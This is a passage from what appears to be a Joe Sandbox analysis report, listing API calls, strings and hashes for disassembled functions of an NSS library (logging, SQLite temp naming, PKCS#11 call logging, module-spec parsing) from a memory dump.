PR_SetLogFile.NSS3(00000000), ref: 6CF81FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CF81FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CF81FCB
free.MOZGLUE(00000000), ref: 6CF81FD2

Strings

all, xrefs: 6CF81F0E
timestamp, xrefs: 6CF81EC4
Unable to create nspr log file '%s', xrefs: 6CF81FB3
bufsize, xrefs: 6CF81E9B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CF81E27
, %n, xrefs: 6CF81E6B
NSPR_LOG_MODULES, xrefs: 6CF81DAD
NSPR_LOG_FILE, xrefs: 6CF81F69
append, xrefs: 6CF81EE6
sync, xrefs: 6CF81E46

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: e8b049282d544ddeba699dc4dc4aa0f8349255810fdaede3c771c3d89f5c68dd
Instruction ID: 4693f8409e221fb0dd41145590f7733ec5b6e77c74254b5d70b0c7c3881478f3
Opcode Fuzzy Hash: e8b049282d544ddeba699dc4dc4aa0f8349255810fdaede3c771c3d89f5c68dd
Instruction Fuzzy Hash: 8551A6B2D052099BEF00CBE5DC44BDE77B8AF01308F084228E929DB645F771E558CB95

Function 6D066E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CF7F9C9,?,6CF7F4DA,6CF7F9C9,?,?,6CF4369A), ref: 6CF1CA7A
Part of subcall function 6CF1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF1CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CF2BE66), ref: 6D066E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CF2BE66), ref: 6D066E98
sqlite3_snprintf.NSS3(?,00000000,6D0CAAF9,?,?,?,?,?,?,6CF2BE66), ref: 6D066EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CF2BE66), ref: 6D066ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CF2BE66), ref: 6D066EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CF2BE66), ref: 6D066F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CF2BE66), ref: 6D066F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CF2BE66), ref: 6D066F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CF2BE66), ref: 6D066FA6
sqlite3_snprintf.NSS3(?,00000000,6D0CAAF9,00000000,?,?,?,?,?,?,?,6CF2BE66), ref: 6D066FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CF2BE66), ref: 6D066FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CF2BE66), ref: 6D066FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF2BE66), ref: 6D067014
sqlite3_free.NSS3(00000000,?,?,?,?,6CF2BE66), ref: 6D06701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CF2BE66), ref: 6D067030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CF2BE66), ref: 6D06705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CF2BE66), ref: 6D067079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CF2BE66), ref: 6D067097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CF2BE66), ref: 6D0670A0

Strings

winGetTempname1, xrefs: 6D06708F
winGetTempname2, xrefs: 6D0670C4
winGetTempname5, xrefs: 6D067071
mz_etilqs_, xrefs: 6D066F18
Pm, xrefs: 6D0670A8
winGetTempname4, xrefs: 6D067046

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pm$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3716211433
Opcode ID: 11727a9388c5773015a2ff9842c8688a285ad0ebf1428e625374adef88cb92f5
Instruction ID: 828377b56380b03bde5582c2cf30ef40faa214916bcbf6548dc781f4e87ec420
Opcode Fuzzy Hash: 11727a9388c5773015a2ff9842c8688a285ad0ebf1428e625374adef88cb92f5
Instruction Fuzzy Hash: 4F5147B1E082516BF30596709C55BBF36AA9F82318F584238E905977C2FF35A50E82F3

Function 6CFC8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CFC8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC8EB3

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CFC8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CFC8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CFC8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CFC8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CFC8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CFC8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CFC8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CFC9047

Strings

(CK_INVALID_HANDLE), xrefs: 6CFC8EAC, 6CFC8F1F, 6CFC8F79
hSession = 0x%x, xrefs: 6CFC8E8E, 6CFC8E9E
hWrappingKey = 0x%x, xrefs: 6CFC8F01, 6CFC8F11
pWrappedKey = 0x%p, xrefs: 6CFC8FAD
pulWrappedKeyLen = 0x%p, xrefs: 6CFC8FC8
C_WrapKey, xrefs: 6CFC8E71
pMechanism = 0x%p, xrefs: 6CFC8EE0
hKey = 0x%x, xrefs: 6CFC8F5B, 6CFC8F6B
*pulWrappedKeyLen = 0x%x, xrefs: 6CFC9042
nm, xrefs: 6CFC8FEC, 6CFC9023

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nm
API String ID: 1003633598-1609185333
Opcode ID: 2df16c725ccc5e4ef49f89b5146df50bdc9119a299864d7ae692b6e253468217
Instruction ID: f0b7b86c9e3cf036a0f0b2c9921e4f9be1ccc6dcde0b22f5f3b703dd18ce7261
Opcode Fuzzy Hash: 2df16c725ccc5e4ef49f89b5146df50bdc9119a299864d7ae692b6e253468217
Instruction Fuzzy Hash: 4F51D531B05105AFEB109F50ED44FAF7B76AB4230CF094025FA09AB153EB319914CBA7

Function 6CFF4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000,00000000,00000001), ref: 6CFF5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFF5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CFF5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CFF50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2), ref: 6CFF50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CFF50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF5153
free.MOZGLUE(?), ref: 6CFF516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CFF517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF5195

Strings

parameters=, xrefs: 6CFF506B
config=, xrefs: 6CFF509B
name=, xrefs: 6CFF5057
nss=, xrefs: 6CFF5083
library=, xrefs: 6CFF5043

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: e2244068a38af95be6ee1cd25688d4e523b43f0e73840a4f39fc83056bfea169
Instruction ID: 04c0f247c6a6366d13fcd665b9181bd5749d67aee96405e35ce6a05d063106eb
Opcode Fuzzy Hash: e2244068a38af95be6ee1cd25688d4e523b43f0e73840a4f39fc83056bfea169
Instruction Fuzzy Hash: C751A7B5D012065BEB00CF24DC41BAB37A8DF06248F154020ED69E7751F735E91ACBB6

Function 6CFF4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CFE4F51,00000000), ref: 6CFF4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CFE4F51,00000000), ref: 6CFF4C5B
PR_smprintf.NSS3(6D0CAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CFE4F51,00000000), ref: 6CFF4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CFE4F51,00000000), ref: 6CFF4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFF4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFF4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFF4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CFE4F51,00000000), ref: 6CFF4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CFE4F51,00000000), ref: 6CFF4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CFF4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CFF4DA2
free.MOZGLUE(?), ref: 6CFF4DB9
free.MOZGLUE(00000000), ref: 6CFF4DCF

Strings

ootT, xrefs: 6CFF4D1A
rust, xrefs: 6CFF4D22
0x%08lx=[%s %s], xrefs: 6CFF4D80
timeout, xrefs: 6CFF4C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CFF4D9D
rootFlags, xrefs: 6CFF4D47
any, xrefs: 6CFF4C96
%s,%s, xrefs: 6CFF4C4B
every, xrefs: 6CFF4CA1
slotFlags, xrefs: 6CFF4D34

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 40149ad41c06de0be02d7dfda0f0d600e0af530c3d7ee1ebd0caafcc418e0453
Instruction ID: f41f76dea845ee34b51948c7a047fba9aacd479d9ef327fdcd209676755e3735
Opcode Fuzzy Hash: 40149ad41c06de0be02d7dfda0f0d600e0af530c3d7ee1ebd0caafcc418e0453
Instruction Fuzzy Hash: 2D4168B2D001416BEB129F59AD40BBF3E75EF8230CF194124E8295B356E7319926C7A7

Function 6CF9DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF9DDDE

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CF9DDF5

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CF9DE34
PR_Now.NSS3 ref: 6CF9DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CF9DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF9DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF9DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF9DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CF9DEF0
PR_smprintf.NSS3(6D0CAAF9,(NULL) (Validity Unknown)), ref: 6CF9DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF9DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF9DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF9DF33
free.MOZGLUE(00000000), ref: 6CF9DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF9DF4B
free.MOZGLUE(00000000), ref: 6CF9DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF9DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CF9DEFA
{???}, xrefs: 6CF9DE8B
%s%s, xrefs: 6CF9DEEB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 1f1151f4b2012e839c73efccc5ff6ef561c864d2ecb98ccbdc558eeeff99c9cf
Instruction ID: d661fd98782c5a2b8ebeb9e2e44be8f8bce245c7a523b38d392211d32c649dad
Opcode Fuzzy Hash: 1f1151f4b2012e839c73efccc5ff6ef561c864d2ecb98ccbdc558eeeff99c9cf
Instruction Fuzzy Hash: DA5193B1E002055BEF109F659C41BAF7AB9EF95398F284029E819E7701E731D915CBA2

Function 6CFCAF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CFCAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFCAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFCAF83

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFCAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CFCAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CFCAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CFCAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CFCB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CFCB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CFCB041

Strings

(CK_INVALID_HANDLE), xrefs: 6CFCAF7C
hSession = 0x%x, xrefs: 6CFCAF5E, 6CFCAF6E
C_SignMessage, xrefs: 6CFCAF41
ulDataLen = %d, xrefs: 6CFCB00A
pulSignatureLen = 0x%p, xrefs: 6CFCB03C
pSignature = 0x%p, xrefs: 6CFCB023
pParameter = 0x%p, xrefs: 6CFCAFB9
pData = 0x%p, xrefs: 6CFCAFEF
ulParameterLen = 0x%p, xrefs: 6CFCAFD4
nm, xrefs: 6CFCB059, 6CFCB093

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nm
API String ID: 1003633598-2798840136
Opcode ID: 7bfbf3e7bec05a2df3a1fa9b9f8781717598fe0b75757213019c98dc2be41517
Instruction ID: eb8a5e06f3ed2bf957b37deb55ed84cea9406bfaa20f5c00198d450e5553c02f
Opcode Fuzzy Hash: 7bfbf3e7bec05a2df3a1fa9b9f8781717598fe0b75757213019c98dc2be41517
Instruction Fuzzy Hash: 6C41C479605145AFEB10DF64ED88F9B3BB1FB4230DF598024F908A7212D731D854CBAA

Function 6CFD2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CFD2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CFD2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CFD2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CFD2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CFA4F1C,?,-00000001,00000000,?), ref: 6CFD2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CFA4F1C,?,-00000001,00000000), ref: 6CFD2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CFD2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CFD2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CFD2EF8
PR_Unlock.NSS3(?), ref: 6CFD2F62
TlsGetValue.KERNEL32 ref: 6CFD2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CFD2F9E
PR_Unlock.NSS3(?), ref: 6CFD2FCA
TlsGetValue.KERNEL32 ref: 6CFD301A
EnterCriticalSection.KERNEL32(?), ref: 6CFD302E
PR_Unlock.NSS3(?), ref: 6CFD3066
PR_SetError.NSS3(00000000,00000000), ref: 6CFD3085
PR_Unlock.NSS3(?), ref: 6CFD30EC
TlsGetValue.KERNEL32 ref: 6CFD310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CFD3124
PR_Unlock.NSS3(?), ref: 6CFD314C

Part of subcall function 6CFB9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CFE379E,?,6CFB9568,00000000,?,6CFE379E,?,00000001,?), ref: 6CFB918D
Part of subcall function 6CFB9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CFE379E,?,6CFB9568,00000000,?,6CFE379E,?,00000001,?), ref: 6CFB91A0

Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807AD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807CD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807D6
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF1204A), ref: 6CF807E4
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,6CF1204A), ref: 6CF80864
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CF80880
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,6CF1204A), ref: 6CF808CB
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808D7
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808FB

PR_SetError.NSS3(00000000,00000000), ref: 6CFD316D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 0ce4d7577a42c6ab9f3fb3ed38102a4461d07564c2999a13be4af8dadd2762e4
Instruction ID: c66c11a6b6b06c2c4b389447e99896af9f4f53d9d02dcf3c736541f5fc0e90be
